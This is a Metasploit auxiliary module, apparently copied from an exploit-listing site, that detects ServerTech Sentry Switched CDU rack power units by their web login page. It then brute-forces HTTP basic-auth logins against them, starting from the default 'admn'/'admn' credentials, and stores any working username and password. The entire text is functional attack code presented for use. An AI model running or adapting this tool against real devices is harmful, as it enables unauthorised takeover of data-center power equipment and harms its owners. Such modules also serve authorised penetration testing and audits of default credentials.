Exploit for Sentry Switched CDU Bruteforce Login Utility

## https://sploitus.com/exploit?id=PACKETSTORM:181084
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Sentry Switched CDU Bruteforce Login Utility',  
'Description' => %{  
This module scans for ServerTech's Sentry Switched CDU (Cabinet Power  
Distribution Unit) web login portals, and performs login brute force  
to identify valid credentials.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]),  
OptString.new('PASSWORD', [true, "A specific password to authenticate with, default 'admn'", "admn"])  
])  
end  
  
def run_host(ip)  
unless is_app_sentry?  
print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.")  
return  
end  
  
print_status("#{rhost}:#{rport} - Starting login brute force...")  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
end  
  
#  
# What's the point of running this module if the app actually isn't Sentry  
#  
def is_app_sentry?  
begin  
res = send_request_cgi(  
{  
'uri' => '/',  
'method' => 'GET'  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return false  
end  
  
if (res and res.body.include?("Sentry Switched CDU"))  
vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU")  
return true  
else  
return false  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
#  
# Brute-force the login page  
#  
def do_login(user, pass)  
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")  
begin  
res = send_request_cgi(  
{  
'uri' => '/index.html',  
'method' => 'GET',  
'authorization' => basic_auth(user,pass)  
})  
  
if res and !res.get_cookies.empty?  
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")  
  
report_cred(  
ip: rhost,  
port: rport,  
service_name: 'ServerTech Sentry Switched CDU',  
user: user,  
password: pass,  
proof: res.get_cookies.inspect  
)  
return :next_user  
  
else  
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE  
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")  
return :abort  
end  
end  
end